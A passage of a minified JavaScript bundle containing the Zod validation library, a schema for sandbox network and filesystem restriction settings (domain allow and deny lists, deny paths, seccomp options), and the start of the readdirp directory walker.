Y.data)if(!w.includes(O))H.push(O)}let J=[];for(let O of w){let X=z[O],$=Y.data[O];J.push({key:{status:"valid",value:O},value:X._parse(new oR(Y,$,Y.path,O)),alwaysSet:O in Y.data})}if(this._def.catchall instanceof xb){let O=this._def.unknownKeys;if(O==="passthrough")for(let X of H)J.push({key:{status:"valid",value:X},value:{status:"valid",value:Y.data[X]}});else if(O==="strict"){if(H.length>0)l4(Y,{code:d8.unrecognized_keys,keys:H}),q.dirty()}else if(O==="strip");else throw Error("Internal ZodObject error: invalid unknownKeys value.")}else{let O=this._def.catchall;for(let X of H){let $=Y.data[X];J.push({key:{status:"valid",value:X},value:O._parse(new oR(Y,$,Y.path,X)),alwaysSet:X in Y.data})}}if(Y.common.async)return Promise.resolve().then(async()=>{let O=[];for(let X of J){let $=await X.key,_=await X.value;O.push({key:$,value:_,alwaysSet:X.alwaysSet})}return O}).then((O)=>{return TZ.mergeObjectSync(q,O)});else return TZ.mergeObjectSync(q,J)}get shape(){return this._def.shape()}strict(A){return zK.errToObj,new zO({...this._def,unknownKeys:"strict",...A!==void 0?{errorMap:(K,q)=>{let Y=this._def.errorMap?.(K,q).message??q.defaultError;if(K.code==="unrecognized_keys")return{message:zK.errToObj(A).message??Y};return{message:Y}}}:{}})}strip(){return new zO({...this._def,unknownKeys:"strip"})}passthrough(){return new zO({...this._def,unknownKeys:"passthrough"})}extend(A){return new zO({...this._def,shape:()=>({...this._def.shape(),...A})})}merge(A){return new zO({unknownKeys:A._def.unknownKeys,catchall:A._def.catchall,shape:()=>({...this._def.shape(),...A._def.shape()}),typeName:Rq.ZodObject})}setKey(A,K){return this.augment({[A]:K})}catchall(A){return new zO({...this._def,catchall:A})}pick(A){let K={};for(let q of S9.objectKeys(A))if(A[q]&&this.shape[q])K[q]=this.shape[q];return new zO({...this._def,shape:()=>K})}omit(A){let K={};for(let q of S9.objectKeys(this.shape))if(!A[q])K[q]=this.shape[q];return new zO({...this._def,shape:()=>K})}deepPartial(){return kJA(this)}partial(A){let K={};for(let q of S9.objectKeys(this.shape)){let Y=this.shape[q];if(A&&!A[q])K[q]=Y;else K[q]=Y.optional()}return new zO({...this._def,shape:()=>K})}required(A){let K={};for(let q of S9.objectKeys(this.shape))if(A&&!A[q])K[q]=this.shape[q];else{let z=this.shape[q];while(z instanceof rR)z=z._def.innerType;K[q]=z}return new zO({...this._def,shape:()=>K})}keyof(){return Qb8(S9.objectKeys(this.shape))}};zO.create=(A,K)=>{return new zO({shape:()=>A,unknownKeys:"strip",catchall:xb.create(),typeName:Rq.ZodObject,...H3(K)})};zO.strictCreate=(A,K)=>{return new zO({shape:()=>A,unknownKeys:"strict",catchall:xb.create(),typeName:Rq.ZodObject,...H3(K)})};zO.lazycreate=(A,K)=>{return new zO({shape:A,unknownKeys:"strip",catchall:xb.create(),typeName:Rq.ZodObject,...H3(K)})};IJA=class IJA extends o3{_parse(A){let{ctx:K}=this._processInputParams(A),q=this._def.options;function Y(z){for(let H of z)if(H.result.status==="valid")return H.result;for(let H of z)if(H.result.status==="dirty")return K.common.issues.push(...H.ctx.common.issues),H.result;let w=z.map((H)=>new DV(H.ctx.common.issues));return l4(K,{code:d8.invalid_union,unionErrors:w}),Gq}if(K.common.async)return Promise.all(q.map(async(z)=>{let w={...K,common:{...K.common,issues:[]},parent:null};return{result:await z._parseAsync({data:K.data,path:K.path,parent:w}),ctx:w}})).then(Y);else{let z=void 0,w=[];for(let J of q){let O={...K,common:{...K.common,issues:[]},parent:null},X=J._parseSync({data:K.data,path:K.path,parent:O});if(X.status==="valid")return X;else if(X.status==="dirty"&&!z)z={result:X,ctx:O};if(O.common.issues.length)w.push(O.common.issues)}if(z)return K.common.issues.push(...z.ctx.common.issues),z.result;let H=w.map((J)=>new DV(J));return l4(K,{code:d8.invalid_union,unionErrors:H}),Gq}}get options(){return this._def.options}};IJA.create=(A,K)=>{return new IJA({options:A,typeName:Rq.ZodUnion,...H3(K)})};g11=class g11 extends o3{_parse(A){let{ctx:K}=this._processInputParams(A);if(K.parsedType!==k4.object)return l4(K,{code:d8.invalid_type,expected:k4.object,received:K.parsedType}),Gq;let q=this.discriminator,Y=K.data[q],z=this.optionsMap.get(Y);if(!z)return l4(K,{code:d8.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[q]}),Gq;if(K.common.async)return z._parseAsync({data:K.data,path:K.path,parent:K});else return z._parseSync({data:K.data,path:K.path,parent:K})}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create(A,K,q){let Y=new Map;for(let z of K){let w=xF(z.shape[A]);if(!w.length)throw Error(`A discriminator value for key \`${A}\` could not be extracted from all schema options`);for(let H of w){if(Y.has(H))throw Error(`Discriminator property ${String(A)} has duplicate value ${String(H)}`);Y.set(H,z)}}return new g11({typeName:Rq.ZodDiscriminatedUnion,discriminator:A,options:K,optionsMap:Y,...H3(q)})}};SJA=class SJA extends o3{_parse(A){let{status:K,ctx:q}=this._processInputParams(A),Y=(z,w)=>{if(B11(z)||B11(w))return Gq;let H=Wc1(z.value,w.value);if(!H.valid)return l4(q,{code:d8.invalid_intersection_types}),Gq;if(m11(z)||m11(w))K.dirty();return{status:K.value,value:H.data}};if(q.common.async)return Promise.all([this._def.left._parseAsync({data:q.data,path:q.path,parent:q}),this._def.right._parseAsync({data:q.data,path:q.path,parent:q})]).then(([z,w])=>Y(z,w));else return Y(this._def.left._parseSync({data:q.data,path:q.path,parent:q}),this._def.right._parseSync({data:q.data,path:q.path,parent:q}))}};SJA.create=(A,K,q)=>{return new SJA({left:A,right:K,typeName:Rq.ZodIntersection,...H3(q)})};ub=class ub extends o3{_parse(A){let{status:K,ctx:q}=this._processInputParams(A);if(q.parsedType!==k4.array)return l4(q,{code:d8.invalid_type,expected:k4.array,received:q.parsedType}),Gq;if(q.data.length<this._def.items.length)return l4(q,{code:d8.too_small,minimum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),Gq;if(!this._def.rest&&q.data.length>this._def.items.length)l4(q,{code:d8.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),K.dirty();let z=[...q.data].map((w,H)=>{let J=this._def.items[H]||this._def.rest;if(!J)return null;return J._parse(new oR(q,w,q.path,H))}).filter((w)=>!!w);if(q.common.async)return Promise.all(z).then((w)=>{return TZ.mergeArray(K,w)});else return TZ.mergeArray(K,z)}get items(){return this._def.items}rest(A){return new ub({...this._def,rest:A})}};ub.create=(A,K)=>{if(!Array.isArray(A))throw Error("You must pass an array of schemas to z.tuple([ ... ])");return new ub({items:A,typeName:Rq.ZodTuple,rest:null,...H3(K)})};ikA=class ikA extends o3{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(A){let{status:K,ctx:q}=this._processInputParams(A);if(q.parsedType!==k4.object)return l4(q,{code:d8.invalid_type,expected:k4.object,received:q.parsedType}),Gq;let Y=[],z=this._def.keyType,w=this._def.valueType;for(let H in q.data)Y.push({key:z._parse(new oR(q,H,q.path,H)),value:w._parse(new oR(q,q.data[H],q.path,H)),alwaysSet:H in q.data});if(q.common.async)return TZ.mergeObjectAsync(K,Y);else return TZ.mergeObjectSync(K,Y)}get element(){return this._def.valueType}static create(A,K,q){if(K instanceof o3)return new ikA({keyType:A,valueType:K,typeName:Rq.ZodRecord,...H3(q)});return new ikA({keyType:iR.create(),valueType:A,typeName:Rq.ZodRecord,...H3(K)})}};nkA=class nkA extends o3{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(A){let{status:K,ctx:q}=this._processInputParams(A);if(q.parsedType!==k4.map)return l4(q,{code:d8.invalid_type,expected:k4.map,received:q.parsedType}),Gq;let Y=this._def.keyType,z=this._def.valueType,w=[...q.data.entries()].map(([H,J],O)=>{return{key:Y._parse(new oR(q,H,q.path,[O,"key"])),value:z._parse(new oR(q,J,q.path,[O,"value"]))}});if(q.common.async){let H=new Map;return Promise.resolve().then(async()=>{for(let J of w){let O=await J.key,X=await J.value;if(O.status==="aborted"||X.status==="aborted")return Gq;if(O.status==="dirty"||X.status==="dirty")K.dirty();H.set(O.value,X.value)}return{status:K.value,value:H}})}else{let H=new Map;for(let J of w){let{key:O,value:X}=J;if(O.status==="aborted"||X.status==="aborted")return Gq;if(O.status==="dirty"||X.status==="dirty")K.dirty();H.set(O.value,X.value)}return{status:K.value,value:H}}}};nkA.create=(A,K,q)=>{return new nkA({valueType:K,keyType:A,typeName:Rq.ZodMap,...H3(q)})};F6A=class F6A extends o3{_parse(A){let{status:K,ctx:q}=this._processInputParams(A);if(q.parsedType!==k4.set)return l4(q,{code:d8.invalid_type,expected:k4.set,received:q.parsedType}),Gq;let Y=this._def;if(Y.minSize!==null){if(q.data.size<Y.minSize.value)l4(q,{code:d8.too_small,minimum:Y.minSize.value,type:"set",inclusive:!0,exact:!1,message:Y.minSize.message}),K.dirty()}if(Y.maxSize!==null){if(q.data.size>Y.maxSize.value)l4(q,{code:d8.too_big,maximum:Y.maxSize.value,type:"set",inclusive:!0,exact:!1,message:Y.maxSize.message}),K.dirty()}let z=this._def.valueType;function w(J){let O=new Set;for(let X of J){if(X.status==="aborted")return Gq;if(X.status==="dirty")K.dirty();O.add(X.value)}return{status:K.value,value:O}}let H=[...q.data.values()].map((J,O)=>z._parse(new oR(q,J,q.path,O)));if(q.common.async)return Promise.all(H).then((J)=>w(J));else return w(H)}min(A,K){return new F6A({...this._def,minSize:{value:A,message:zK.toString(K)}})}max(A,K){return new F6A({...this._def,maxSize:{value:A,message:zK.toString(K)}})}size(A,K){return this.min(A,K).max(A,K)}nonempty(A){return this.min(1,A)}};F6A.create=(A,K)=>{return new F6A({valueType:A,minSize:null,maxSize:null,typeName:Rq.ZodSet,...H3(K)})};CJA=class CJA extends o3{constructor(){super(...arguments);this.validate=this.implement}_parse(A){let{ctx:K}=this._processInputParams(A);if(K.parsedType!==k4.function)return l4(K,{code:d8.invalid_type,expected:k4.function,received:K.parsedType}),Gq;function q(H,J){return dkA({data:H,path:K.path,errorMaps:[K.common.contextualErrorMap,K.schemaErrorMap,vJA(),bF].filter((O)=>!!O),issueData:{code:d8.invalid_arguments,argumentsError:J}})}function Y(H,J){return dkA({data:H,path:K.path,errorMaps:[K.common.contextualErrorMap,K.schemaErrorMap,vJA(),bF].filter((O)=>!!O),issueData:{code:d8.invalid_return_type,returnTypeError:J}})}let z={errorMap:K.common.contextualErrorMap},w=K.data;if(this._def.returns instanceof Q6A){let H=this;return GD(async function(...J){let O=new DV([]),X=await H._def.args.parseAsync(J,z).catch((G)=>{throw O.addIssue(q(J,G)),O}),$=await Reflect.apply(w,this,X);return await H._def.returns._def.type.parseAsync($,z).catch((G)=>{throw O.addIssue(Y($,G)),O})})}else{let H=this;return GD(function(...J){let O=H._def.args.safeParse(J,z);if(!O.success)throw new DV([q(J,O.error)]);let X=Reflect.apply(w,this,O.data),$=H._def.returns.safeParse(X,z);if(!$.success)throw new DV([Y(X,$.error)]);return $.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...A){return new CJA({...this._def,args:ub.create(A).rest(Qi.create())})}returns(A){return new CJA({...this._def,returns:A})}implement(A){return this.parse(A)}strictImplement(A){return this.parse(A)}static create(A,K,q){return new CJA({args:A?A:ub.create([]).rest(Qi.create()),returns:K||Qi.create(),typeName:Rq.ZodFunction,...H3(q)})}};hJA=class hJA extends o3{get schema(){return this._def.getter()}_parse(A){let{ctx:K}=this._processInputParams(A);return this._def.getter()._parse({data:K.data,path:K.path,parent:K})}};hJA.create=(A,K)=>{return new hJA({getter:A,typeName:Rq.ZodLazy,...H3(K)})};bJA=class bJA extends o3{_parse(A){if(A.data!==this._def.value){let K=this._getOrReturnCtx(A);return l4(K,{received:K.data,code:d8.invalid_literal,expected:this._def.value}),Gq}return{status:"valid",value:A.data}}get value(){return this._def.value}};bJA.create=(A,K)=>{return new bJA({value:A,typeName:Rq.ZodLiteral,...H3(K)})};di=class di extends o3{_parse(A){if(typeof A.data!=="string"){let K=this._getOrReturnCtx(A),q=this._def.values;return l4(K,{expected:S9.joinValues(q),received:K.parsedType,code:d8.invalid_type}),Gq}if(!this._cache)this._cache=new Set(this._def.values);if(!this._cache.has(A.data)){let K=this._getOrReturnCtx(A),q=this._def.values;return l4(K,{received:K.data,code:d8.invalid_enum_value,options:q}),Gq}return GD(A.data)}get options(){return this._def.values}get enum(){let A={};for(let K of this._def.values)A[K]=K;return A}get Values(){let A={};for(let K of this._def.values)A[K]=K;return A}get Enum(){let A={};for(let K of this._def.values)A[K]=K;return A}extract(A,K=this._def){return di.create(A,{...this._def,...K})}exclude(A,K=this._def){return di.create(this.options.filter((q)=>!A.includes(q)),{...this._def,...K})}};di.create=Qb8;xJA=class xJA extends o3{_parse(A){let K=S9.getValidEnumValues(this._def.values),q=this._getOrReturnCtx(A);if(q.parsedType!==k4.string&&q.parsedType!==k4.number){let Y=S9.objectValues(K);return l4(q,{expected:S9.joinValues(Y),received:q.parsedType,code:d8.invalid_type}),Gq}if(!this._cache)this._cache=new Set(S9.getValidEnumValues(this._def.values));if(!this._cache.has(A.data)){let Y=S9.objectValues(K);return l4(q,{received:q.data,code:d8.invalid_enum_value,options:Y}),Gq}return GD(A.data)}get enum(){return this._def.values}};xJA.create=(A,K)=>{return new xJA({values:A,typeName:Rq.ZodNativeEnum,...H3(K)})};Q6A=class Q6A extends o3{unwrap(){return this._def.type}_parse(A){let{ctx:K}=this._processInputParams(A);if(K.parsedType!==k4.promise&&K.common.async===!1)return l4(K,{code:d8.invalid_type,expected:k4.promise,received:K.parsedType}),Gq;let q=K.parsedType===k4.promise?K.data:Promise.resolve(K.data);return GD(q.then((Y)=>{return this._def.type.parseAsync(Y,{path:K.path,errorMap:K.common.contextualErrorMap})}))}};Q6A.create=(A,K)=>{return new Q6A({type:A,typeName:Rq.ZodPromise,...H3(K)})};aR=class aR extends o3{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===Rq.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse(A){let{status:K,ctx:q}=this._processInputParams(A),Y=this._def.effect||null,z={addIssue:(w)=>{if(l4(q,w),w.fatal)K.abort();else K.dirty()},get path(){return q.path}};if(z.addIssue=z.addIssue.bind(z),Y.type==="preprocess"){let w=Y.transform(q.data,z);if(q.common.async)return Promise.resolve(w).then(async(H)=>{if(K.value==="aborted")return Gq;let J=await this._def.schema._parseAsync({data:H,path:q.path,parent:q});if(J.status==="aborted")return Gq;if(J.status==="dirty")return B6A(J.value);if(K.value==="dirty")return B6A(J.value);return J});else{if(K.value==="aborted")return Gq;let H=this._def.schema._parseSync({data:w,path:q.path,parent:q});if(H.status==="aborted")return Gq;if(H.status==="dirty")return B6A(H.value);if(K.value==="dirty")return B6A(H.value);return H}}if(Y.type==="refinement"){let w=(H)=>{let J=Y.refinement(H,z);if(q.common.async)return Promise.resolve(J);if(J instanceof Promise)throw Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return H};if(q.common.async===!1){let H=this._def.schema._parseSync({data:q.data,path:q.path,parent:q});if(H.status==="aborted")return Gq;if(H.status==="dirty")K.dirty();return w(H.value),{status:K.value,value:H.value}}else return this._def.schema._parseAsync({data:q.data,path:q.path,parent:q}).then((H)=>{if(H.status==="aborted")return Gq;if(H.status==="dirty")K.dirty();return w(H.value).then(()=>{return{status:K.value,value:H.value}})})}if(Y.type==="transform")if(q.common.async===!1){let w=this._def.schema._parseSync({data:q.data,path:q.path,parent:q});if(!Fi(w))return Gq;let H=Y.transform(w.value,z);if(H instanceof Promise)throw Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:K.value,value:H}}else return this._def.schema._parseAsync({data:q.data,path:q.path,parent:q}).then((w)=>{if(!Fi(w))return Gq;return Promise.resolve(Y.transform(w.value,z)).then((H)=>({status:K.value,value:H}))});S9.assertNever(Y)}};aR.create=(A,K,q)=>{return new aR({schema:A,typeName:Rq.ZodEffects,effect:K,...H3(q)})};aR.createWithPreprocess=(A,K,q)=>{return new aR({schema:K,effect:{type:"preprocess",transform:A},typeName:Rq.ZodEffects,...H3(q)})};rR=class rR extends o3{_parse(A){if(this._getType(A)===k4.undefined)return GD(void 0);return this._def.innerType._parse(A)}unwrap(){return this._def.innerType}};rR.create=(A,K)=>{return new rR({innerType:A,typeName:Rq.ZodOptional,...H3(K)})};uF=class uF extends o3{_parse(A){if(this._getType(A)===k4.null)return GD(null);return this._def.innerType._parse(A)}unwrap(){return this._def.innerType}};uF.create=(A,K)=>{return new uF({innerType:A,typeName:Rq.ZodNullable,...H3(K)})};uJA=class uJA extends o3{_parse(A){let{ctx:K}=this._processInputParams(A),q=K.data;if(K.parsedType===k4.undefined)q=this._def.defaultValue();return this._def.innerType._parse({data:q,path:K.path,parent:K})}removeDefault(){return this._def.innerType}};uJA.create=(A,K)=>{return new uJA({innerType:A,typeName:Rq.ZodDefault,defaultValue:typeof K.default==="function"?K.default:()=>K.default,...H3(K)})};BJA=class BJA extends o3{_parse(A){let{ctx:K}=this._processInputParams(A),q={...K,common:{...K.common,issues:[]}},Y=this._def.innerType._parse({data:q.data,path:q.path,parent:{...q}});if(EJA(Y))return Y.then((z)=>{return{status:"valid",value:z.status==="valid"?z.value:this._def.catchValue({get error(){return new DV(q.common.issues)},input:q.data})}});else return{status:"valid",value:Y.status==="valid"?Y.value:this._def.catchValue({get error(){return new DV(q.common.issues)},input:q.data})}}removeCatch(){return this._def.innerType}};BJA.create=(A,K)=>{return new BJA({innerType:A,typeName:Rq.ZodCatch,catchValue:typeof K.catch==="function"?K.catch:()=>K.catch,...H3(K)})};rkA=class rkA extends o3{_parse(A){if(this._getType(A)!==k4.nan){let q=this._getOrReturnCtx(A);return l4(q,{code:d8.invalid_type,expected:k4.nan,received:q.parsedType}),Gq}return{status:"valid",value:A.data}}};rkA.create=(A)=>{return new rkA({typeName:Rq.ZodNaN,...H3(A)})};RH5=Symbol("zod_brand");F11=class F11 extends o3{_parse(A){let{ctx:K}=this._processInputParams(A),q=K.data;return this._def.type._parse({data:q,path:K.path,parent:K})}unwrap(){return this._def.type}};okA=class okA extends o3{_parse(A){let{status:K,ctx:q}=this._processInputParams(A);if(q.common.async)return(async()=>{let z=await this._def.in._parseAsync({data:q.data,path:q.path,parent:q});if(z.status==="aborted")return Gq;if(z.status==="dirty")return K.dirty(),B6A(z.value);else return this._def.out._parseAsync({data:z.value,path:q.path,parent:q})})();else{let Y=this._def.in._parseSync({data:q.data,path:q.path,parent:q});if(Y.status==="aborted")return Gq;if(Y.status==="dirty")return K.dirty(),{status:"dirty",value:Y.value};else return this._def.out._parseSync({data:Y.value,path:q.path,parent:q})}}static create(A,K){return new okA({in:A,out:K,typeName:Rq.ZodPipeline})}};mJA=class mJA extends o3{_parse(A){let K=this._def.innerType._parse(A),q=(Y)=>{if(Fi(Y))Y.value=Object.freeze(Y.value);return Y};return EJA(K)?K.then((Y)=>q(Y)):q(K)}unwrap(){return this._def.innerType}};mJA.create=(A,K)=>{return new mJA({innerType:A,typeName:Rq.ZodReadonly,...H3(K)})};yH5={object:zO.lazycreate};(function(A){A.ZodString="ZodString",A.ZodNumber="ZodNumber",A.ZodNaN="ZodNaN",A.ZodBigInt="ZodBigInt",A.ZodBoolean="ZodBoolean",A.ZodDate="ZodDate",A.ZodSymbol="ZodSymbol",A.ZodUndefined="ZodUndefined",A.ZodNull="ZodNull",A.ZodAny="ZodAny",A.ZodUnknown="ZodUnknown",A.ZodNever="ZodNever",A.ZodVoid="ZodVoid",A.ZodArray="ZodArray",A.ZodObject="ZodObject",A.ZodUnion="ZodUnion",A.ZodDiscriminatedUnion="ZodDiscriminatedUnion",A.ZodIntersection="ZodIntersection",A.ZodTuple="ZodTuple",A.ZodRecord="ZodRecord",A.ZodMap="ZodMap",A.ZodSet="ZodSet",A.ZodFunction="ZodFunction",A.ZodLazy="ZodLazy",A.ZodLiteral="ZodLiteral",A.ZodEnum="ZodEnum",A.ZodEffects="ZodEffects",A.ZodNativeEnum="ZodNativeEnum",A.ZodOptional="ZodOptional",A.ZodNullable="ZodNullable",A.ZodDefault="ZodDefault",A.ZodCatch="ZodCatch",A.ZodPromise="ZodPromise",A.ZodBranded="ZodBranded",A.ZodPipeline="ZodPipeline",A.ZodReadonly="ZodReadonly"})(Rq||(Rq={}));m8=iR.create,nE=Ui.create,SH5=rkA.create,hH5=pi.create,o_=LJA.create,bH5=m6A.create,xH5=ckA.create,uH5=RJA.create,BH5=yJA.create,mH5=g6A.create,gH5=Qi.create,FH5=xb.create,QH5=lkA.create,dO=nR.create,KT=zO.create,qT=zO.strictCreate,U6A=IJA.create,UH5=g11.create,pH5=SJA.create,dH5=ub.create,sR=ikA.create,cH5=nkA.create,lH5=F6A.create,iH5=CJA.create,nH5=hJA.create,rH5=bJA.create,tR=di.create,oH5=xJA.create,aH5=Q6A.create,sH5=aR.create,tH5=rR.create,eH5=uF.create,AJ5=aR.createWithPreprocess,KJ5=okA.create,wJ5={string:(A)=>iR.create({...A,coerce:!0}),number:(A)=>Ui.create({...A,coerce:!0}),boolean:(A)=>LJA.create({...A,coerce:!0}),bigint:(A)=>pi.create({...A,coerce:!0}),date:(A)=>m6A.create({...A,coerce:!0})},HJ5=Gq});var tq={};_q(tq,{void:()=>QH5,util:()=>S9,unknown:()=>gH5,union:()=>U6A,undefined:()=>uH5,tuple:()=>dH5,transformer:()=>sH5,symbol:()=>xH5,string:()=>m8,strictObject:()=>qT,setErrorMap:()=>wH5,set:()=>lH5,record:()=>sR,quotelessJson:()=>YH5,promise:()=>aH5,preprocess:()=>AJ5,pipeline:()=>KJ5,ostring:()=>qJ5,optional:()=>tH5,onumber:()=>YJ5,oboolean:()=>zJ5,objectUtil:()=>$c1,object:()=>KT,number:()=>nE,nullable:()=>eH5,null:()=>BH5,never:()=>FH5,nativeEnum:()=>oH5,nan:()=>SH5,map:()=>cH5,makeIssue:()=>dkA,literal:()=>rH5,lazy:()=>nH5,late:()=>yH5,isValid:()=>Fi,isDirty:()=>m11,isAsync:()=>EJA,isAborted:()=>B11,intersection:()=>pH5,instanceof:()=>IH5,getParsedType:()=>bb,getErrorMap:()=>vJA,function:()=>iH5,enum:()=>tR,effect:()=>sH5,discriminatedUnion:()=>UH5,defaultErrorMap:()=>bF,datetimeRegex:()=>Fb8,date:()=>bH5,custom:()=>Ub8,coerce:()=>wJ5,boolean:()=>o_,bigint:()=>hH5,array:()=>dO,any:()=>mH5,addIssueToContext:()=>l4,ZodVoid:()=>lkA,ZodUnknown:()=>Qi,ZodUnion:()=>IJA,ZodUndefined:()=>RJA,ZodType:()=>o3,ZodTuple:()=>ub,ZodTransformer:()=>aR,ZodSymbol:()=>ckA,ZodString:()=>iR,ZodSet:()=>F6A,ZodSchema:()=>o3,ZodRecord:()=>ikA,ZodReadonly:()=>mJA,ZodPromise:()=>Q6A,ZodPipeline:()=>okA,ZodParsedType:()=>k4,ZodOptional:()=>rR,ZodObject:()=>zO,ZodNumber:()=>Ui,ZodNullable:()=>uF,ZodNull:()=>yJA,ZodNever:()=>xb,ZodNativeEnum:()=>xJA,ZodNaN:()=>rkA,ZodMap:()=>nkA,ZodLiteral:()=>bJA,ZodLazy:()=>hJA,ZodIssueCode:()=>d8,ZodIntersection:()=>SJA,ZodFunction:()=>CJA,ZodFirstPartyTypeKind:()=>Rq,ZodError:()=>DV,ZodEnum:()=>di,ZodEffects:()=>aR,ZodDiscriminatedUnion:()=>g11,ZodDefault:()=>uJA,ZodDate:()=>m6A,ZodCatch:()=>BJA,ZodBranded:()=>F11,ZodBoolean:()=>LJA,ZodBigInt:()=>pi,ZodArray:()=>nR,ZodAny:()=>g6A,Schema:()=>o3,ParseStatus:()=>TZ,OK:()=>GD,NEVER:()=>HJ5,INVALID:()=>Gq,EMPTY_PATH:()=>HH5,DIRTY:()=>B6A,BRAND:()=>RH5});var Dc1=k(()=>{u11();Gc1();bb8();pkA();pb8();x11()});var akA=k(()=>{Dc1();Dc1()});var Mc1,jc1,JJ5,cb8,lb8,ib8,nb8,OJ5,rb8;var ob8=k(()=>{akA();Mc1=tq.string().refine((A)=>{if(A.includes("://")||A.includes("/")||A.includes(":"))return!1;if(A==="localhost")return!0;if(A.startsWith("*.")){let K=A.slice(2);if(!K.includes(".")||K.startsWith(".")||K.endsWith("."))return!1;let q=K.split(".");return q.length>=2&&q.every((Y)=>Y.length>0)}if(A.includes("*"))return!1;return A.includes(".")&&!A.startsWith(".")&&!A.endsWith(".")},{message:'Invalid domain pattern. Must be a valid domain (e.g., "example.com") or wildcard (e.g., "*.example.com"). Overly broad patterns like "*.com" or "*" are not allowed for security reasons.'}),jc1=tq.string().min(1,"Path cannot be empty"),JJ5=tq.object({socketPath:tq.string().min(1).describe("Unix socket path to the MITM proxy"),domains:tq.array(Mc1).min(1).describe('Domains to route through the MITM proxy (e.g., ["api.example.com", "*.internal.org"])')}),cb8=tq.object({allowedDomains:tq.array(Mc1).describe('List of allowed domains (e.g., ["github.com", "*.npmjs.org"])'),deniedDomains:tq.array(Mc1).describe("List of denied domains"),allowUnixSockets:tq.array(tq.string()).optional().describe("macOS only: Unix socket paths to allow. Ignored on Linux (seccomp cannot filter by path)."),allowAllUnixSockets:tq.boolean().optional().describe("If true, allow all Unix sockets (disables blocking on both platforms)."),allowLocalBinding:tq.boolean().optional().describe("Whether to allow binding to local ports (default: false)"),httpProxyPort:tq.number().int().min(1).max(65535).optional().describe("Port of an external HTTP proxy to use instead of starting a local one. When provided, the library will skip starting its own HTTP proxy and use this port. The external proxy must handle domain filtering."),socksProxyPort:tq.number().int().min(1).max(65535).optional().describe("Port of an external SOCKS proxy to use instead of starting a local one. When provided, the library will skip starting its own SOCKS proxy and use this port. The external proxy must handle domain filtering."),mitmProxy:JJ5.optional().describe("Optional MITM proxy configuration. Routes matching domains through an upstream proxy via Unix socket while SRT still handles allow/deny filtering.")}),lb8=tq.object({denyRead:tq.array(jc1).describe("Paths denied for reading"),allowWrite:tq.array(jc1).describe("Paths allowed for writing"),denyWrite:tq.array(jc1).describe("Paths denied for writing (takes precedence over allowWrite)"),allowGitConfig:tq.boolean().optional().describe("Allow writes to .git/config files (default: false). Enables git remote URL updates while keeping .git/hooks protected.")}),ib8=tq.record(tq.string(),tq.array(tq.string())).describe('Map of command patterns to filesystem paths to ignore violations for. Use "*" to match all commands'),nb8=tq.object({command:tq.string().describe('The ripgrep command to execute (e.g., "rg", "claude")'),args:tq.array(tq.string()).optional().describe('Additional arguments to pass before ripgrep args (e.g., ["--ripgrep"])')}),OJ5=tq.object({bpfPath:tq.string().optional().describe("Path to the unix-block.bpf filter file"),applyPath:tq.string().optional().describe("Path to the apply-seccomp binary")}),rb8=tq.object({network:cb8.describe("Network restrictions configuration"),filesystem:lb8.describe("Filesystem restrictions configuration"),ignoreViolations:ib8.optional().describe("Optional configuration for ignoring specific violations"),enableWeakerNestedSandbox:tq.boolean().optional().describe("Enable weaker nested sandbox mode (for Docker environments)"),ripgrep:nb8.optional().describe('Custom ripgrep configuration (default: { command: "rg" })'),mandatoryDenySearchDepth:tq.number().int().min(1).max(10).optional().describe("Maximum directory depth to search for dangerous files on Linux (default: 3). Higher values provide more protection but slower performance."),allowPty:tq.boolean().optional().describe("Allow pseudo-terminal (pty) operations (macOS only)"),seccomp:OJ5.optional().describe("Custom seccomp binary paths (Linux only).")})});var ab8=k(()=>{Sb8();wc1();ob8();NJA();L11()});import{stat as XJ5,lstat as sb8,readdir as $J5,realpath as _J5}from"node:fs/promises";import{Readable as GJ5}from"node:stream";import{resolve as tb8,relative as ZJ5,join as WJ5,sep as DJ5}from"node:path";function zx8(A,K={}){let q=K.entryType||K.type;if(q==="both")q=YT.FILE_DIR_TYPE;if(q)K.type=q;if(!A)throw Error("readdirp: root argument is required. Usage: readdirp(root, options)");else if(typeof A!=="string")throw TypeError("readdirp: root argument must be a string. Usage: readdirp(root, options)");else if(q&&!eb8.includes(q))throw Error(`readdirp: Invalid type passed. Use one of ${eb8.join(", ")}`);return K.root=A,new Yx8(K)}var YT,Pc1,qx8="READDIRP_RECURSIVE_ERROR",jJ5,eb8,MJ5,PJ5,VJ5=(A)=>jJ5.has(A.code),fJ5,Ax8=(A)=>!0,Kx8=(A)=>{if(A===void 0)return Ax8;if(typeof A==="function")return A;if(typeof A==="string"){let K=A.trim();return(q)=>q.basename===K}if(Array.isArray(A)){let K=A.map((q)=>q.trim());return(q)=>K.some((Y)=>q.basename===Y)}return Ax8},Yx8;var wx8=k(()=>{YT={FILE_TYPE:"files",DIR_TYPE:"directories",FILE_DIR_TYPE:"files_directories",EVERYTHING_TYPE:"all"},Pc1={root:".",fileFilter:(A)=>!0,directoryFilter:(A)=>!0,type:YT.FILE_TYPE,lstat:!1,depth:2147483648,alwaysStat:!1,highWaterMark:4096};Object.freeze(Pc1);jJ5=new Set(["ENOENT","EPERM","EACCES","ELOOP",qx8]),eb8=[YT.DIR_TYPE,YT.EVERYTHING_TYPE,YT.FILE_DIR_TYPE,YT.FILE_TYPE],MJ5=new Set([YT.DIR_TYPE,YT.EVERYTHING_TYPE,YT.FILE_DIR_TYPE]),PJ5=new Set([YT.EVERYTHING_TYPE,YT.FILE_DIR_TYPE,YT.FILE_TYPE]),fJ5=process.platform==="win32";Yx8=class Yx8 extends GJ5{constructor(A={}){super({objectMode:!0,autoDestroy:!0,highWaterMark:A.highWaterMark});let K={...Pc1,...A},{root:q,type:Y}=K;this._fileFilter=Kx8(K.fileFilter),this._directoryFilter=Kx8(K.directoryFilter);let z=K.lstat?sb8:XJ5;if(fJ5)this._stat=(w)=>z(w,{bigint:!0});else 